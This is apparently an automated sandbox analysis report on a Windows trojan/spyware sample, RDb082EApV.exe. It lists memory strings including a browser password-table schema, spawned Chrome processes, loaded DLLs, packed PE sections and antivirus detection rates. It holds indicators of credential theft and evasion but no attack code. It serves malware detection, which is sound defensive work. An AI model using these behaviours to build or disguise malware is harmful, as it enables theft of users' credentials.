Source: RDb082EApV.exe, 00000000.00000003.1971044551.00000000055AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1981386270.00000000055AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1978840168.00000000055B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1971880303.0000000005696000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1976086680.00000000056B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1983140127.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1961324286.000000000520F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1967721133.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1966904883.000000000571E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1984892879.00000000056F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1963503544.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1982446362.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1966171830.000000000564A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1968405662.00000000055B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1995917712.000000000083E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1979715451.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1967485666.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1966796239.0000000005664000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1980688601.00000000057E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1968169581.00000000055B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1966272232.0000000005702000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1976611936.00000000056BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1973348302.000000000569E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1967009211.00000000055B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1982695738.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1973016942.00000000056A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1983973408.0000000005814000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1985830622.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1974022634.00000000056BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1978321659.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1971735741.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1978577553.00000000056BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1972011840.00000000055B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1967852405.0000000005672000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1982913147.00000000057EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1967120550.0000000005674000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1983340188.00000000056D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1983817221.00000000056DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1960943844.0000000005644000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1973579035.000000000579D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1966692317.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1965128574.000000000564D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1984689871.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1978974559.00000000056B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1965748215.000000000564C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1968289228.000000000567C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1981949537.00000000056CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1970761306.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1966377463.00000000055B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1960417897.000000000520F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1960082918.00000000053A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1972477022.0000000005792000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1979272857.00000000056C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1984199208.00000000055B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1965850849.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1961155717.00000000056E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1962774237.0000000005651000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1969957521.000000000574C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1967262753.00000000055AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1961677419.0000000005206000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1969583254.0000000005680000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1970075157.00000000055AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1970441309.0000000005688000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1984427767.00000000056ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1961467481.00000000055B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1967372030.0000000005671000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1975675101.00000000056BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1976383088.00000000055B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1971227367.00000000056A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1975902934.00000000055B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1995800713.0000000005130000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1965638050.00000000055A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1985080826.0000000005834000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1979110530.00000000055AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe
Source: RDb082EApV.exe, 00000000.00000003.1968051380.0000000005745000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RDb082EApV.exe

Source: RDb082EApV.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: RDb082EApV.exe

Static PE information: Section: ZLIB complexity 0.9995340584150327

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/64@9/7

Source: C:\Users\user\Desktop\RDb082EApV.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RDb082EApV.exe, 00000000.00000003.1744864380.0000000005139000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1745225478.0000000005105000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: RDb082EApV.exe	Virustotal: Detection: 72%
Source: RDb082EApV.exe	ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\RDb082EApV.exe

File read: C:\Users\user\Desktop\RDb082EApV.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\RDb082EApV.exe "C:\Users\user\Desktop\RDb082EApV.exe"
Source: C:\Users\user\Desktop\RDb082EApV.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RDb082EApV.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1736,i,806140017804911872,2372553544258295183,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\RDb082EApV.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RDb082EApV.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1168 --field-trial-handle=2012,i,9289619090214148228,11069528747453188338,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\RDb082EApV.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RDb082EApV.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RDb082EApV.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1736,i,806140017804911872,2372553544258295183,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1168 --field-trial-handle=2012,i,9289619090214148228,11069528747453188338,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: RDb082EApV.exe

Static file information: File size 2984960 > 1048576

Source: RDb082EApV.exe

Static PE information: Raw size of tsajedaw is bigger than: 0x100000 < 0x2af000

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: RDb082EApV.exe

Static PE information: real checksum: 0x2de92e should be: 0x2df3a1

Source: RDb082EApV.exe	Static PE information: section name:
Source: RDb082EApV.exe	Static PE information: section name: .rsrc
Source: RDb082EApV.exe	Static PE information: section name: .idata
Source: RDb082EApV.exe	Static PE information: section name: tsajedaw
Source: RDb082EApV.exe	Static PE information: section name: rwsufufw
Source: RDb082EApV.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00842611 push eax; iretd	0_3_00842612
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00842611 push eax; iretd	0_3_00842612
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00842611 push eax; iretd	0_3_00842612
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00842611 push eax; iretd	0_3_00842612
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_008452F9 pushad ; ret	0_3_00845309
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_008452F9 pushad ; ret	0_3_00845309
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_008452F9 pushad ; ret	0_3_00845309
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00844204 push esi; retf	0_3_00844207
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00844204 push esi; retf	0_3_00844207
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00844204 push esi; retf	0_3_00844207
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_0084A315 push ds; ret	0_3_0084A318
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_0084A315 push ds; ret	0_3_0084A318
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_0084A315 push ds; ret	0_3_0084A318
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00842611 push eax; iretd	0_3_00842612
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00842611 push eax; iretd	0_3_00842612
